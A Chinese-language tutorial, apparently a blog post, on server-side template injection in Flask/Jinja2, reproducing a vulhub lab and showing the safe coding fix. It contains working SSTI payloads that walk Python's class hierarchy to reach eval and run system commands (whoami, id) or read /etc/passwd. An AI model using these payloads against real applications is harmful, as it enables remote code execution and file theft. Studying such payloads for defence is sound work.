Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask
Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:
- Werkzeug 一个 WSGI 工具包
- jinja2 模板引擎
Flask简单易学,下面是Flask版的hello world(hello.py):
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
安装flask即可运行了:
$ pip install Flask
$ python hello.py
* Running on http://localhost:5000/
*flask默认端口是5000
Jinja 2
- Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
- Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
- Jinja2 模板同样支持控制语句,像在 {%…%} 块中
{# This is jinja code
# 控制结构
{% for file in filenames %}
# 取值
{{ file }}
{% endfor %}
#}
Demo
from jinja2 import Template
t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
print t.render()

漏洞原理
先进入容器看一下web服务的代码

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如

当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/safe")
def safe():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
就不存在模板注入

Jinja2 的模板中执行 Python 代码
在jinja2中是可以直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数

那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册
那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法
利用 Python 特性
- __bases__
以元组返回一个类直接所继承的类- __mro__
以元组返回继承关系链- __class__
返回对象所属的类- __globals__
以dict返回函数所在模块命名空间中的所有变量- __subclasses__()
以列表返回类的子类- _builtin_
内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
- 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
- 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
用file对象读取文件
不能像字符串对象,列表对象那样直接引用('' []),那如何拿到file对象呢?就用上面给的属性和方法,如
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('test.txt').readlines()
该代码从列表对象获取其类,再取基类(object),再取object的所有子类,从子类中寻找file类,如果找到就使用其构造方法创建对象后再用readlines读取文件内容

用jinja2语法就是
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
在本机测试没有问题,但是在这个doker容器里不知道为什么找不见file类


emmm,经测试发现在python3中并没有file类,所以上述读取文件的方法只适用于python2

那么就有必要找到python2/3通用的方法,就直接找eval,有了这个还有什么不能做
寻找__builtins__得到eval
for c in ().__class__.__bases__[0].__subclasses__():
try:
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass

找到了一个python2/3都有__builtins__的类 _IterationGuard
于是python2/3通用的执行任意代码
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

我本机上存在中文编码的问题,所以命令执行结果带中文的话会出错,所以就用echo l3yx展示下执行命令的效果

直接从globals中寻找eval
原理和上面大同小异,vulhub的文档中用的就是这种
payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
参考:
Server-Side Template Injection
利用 Python 特性在 Jinja2 模板中执行任意代码
用python继承链搞事情 (膜 Orz)
Flask(Jinja2) 服务端模板注入漏洞(SSTI)的更多相关文章
- SSTI服务端模板注入漏洞原理详解及利用姿势集锦
目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...
- Flask(Jinja2) 服务端模板注入漏洞
原理 参考文章: https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-R ...
- 有关于服务端模板注入(ssti攻击)——BUUCTF - easy_tornado
打开题目出现3个链接 /flag.txt 中提示flag in /fllllllllllllag /welcome.txt 中提示 render /hints.txt 中提示 md5(cookie_s ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- 服务端模版注入漏洞检测payload整理
服务端模版注入漏洞产生的根源是将用户输入的数据被模版引擎解析渲染可能导致代码执行漏洞 下表涵盖了java,php,python,javascript语言中可能使用到的模版引擎,如果网站存在服务端模版注 ...
- 漏洞复现-Flask-SSTI服务端模板注入
0x00 实验环境 攻击机:Win 10 0x01 影响版本 Python利用的一些静态框架 0x02 漏洞复现 (1)实验环境:docker运行的vulhub漏洞环境 首先,可直接访问到页面的显 ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)
0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
随机推荐
- (转)阿里 RocketMQ 安装与简介
原文:阿里 RocketMQ 安装与简介 一.简介 官方简介: l RocketMQ是一款分布式.队列模型的消息中间件,具有以下特点: l 能够保证严格的消息顺序 l 提供丰富的消息拉取模式 l ...
- Python【day 18】面向对象-类和类的关系
一.昨日内容回顾 成员 1.变量 1.成员变量--最常见 1.写法: 变量前面加了self就是成员变量 这里的self表示当前对象 一般是在构造方法中定义 2.调用: 对象.成员变量 3.作用: 可以 ...
- PHP mysqli_fetch_object MySQLi 函数
定义和用法 mysqli_fetch_object - 返回结果集的当前行作为对象 版本支持 PHP4 PHP5 PHP7 不支持 支持 支持 语法 mysqli_fetch_object ( mys ...
- VMware虚拟机安装centos7
镜像下载地址:http://www.linuxdown.net/ 在vmware上开始安装CentOS系统,点击菜单新建虚拟机,进入如下图步骤进行操作. 接着进行自定义硬盘操作 最后虚拟机就创 ...
- [browser navigator],写了个检测游览器版本
前些天胃不舒服打吊针了,真得准时吃饭各种啊,然后就是懒,就没在复习了,这次复习的内容是navigator //未知效果 // console.log('浏览器的次要版本' + navigator.ap ...
- webpack + typescript + babel打包*.min.js文件的环境配置
将多个*.ts文件打包成一个*.min.js文件的开发配置 1.初始化 npm init 新建以下文件目录: 2.安装依赖: "devDependencies": { " ...
- nmap的简单使用
主机探测 1.扫描单个主机 nmap 192.168.1.2 2.扫描整个子网 nmap 192.168.1.1/24 3.扫描多个目标 nmap 192.168.1.1 192.168.1.1.5 ...
- OC深浅复制
浅复制:指针的复制 深复制:内容的复制 主要有两个关键字 copy 和mutablecopy 对于基本类型 判断深浅方法 1.只要=右边从创建到赋值,至少包含一个NSMutable便会重新生成一个对 ...
- CentOS环境下通过YUM安装软件,搭建lnmp环境
安装nginx.php-fpm和mysql. yum install nginx yum install php-fpm yum install mysql CentOS下LNMP环境配置 1. 配置 ...
- 向busybox中添加自己的applet
关键词:buysbox.applet等. busybox常用于嵌入式环境,集成中断Linux命令和工具.这些工具简单高效. 下面从如下方面了解: 这些命令是一个软链接到busybox,那么是如何从软连 ...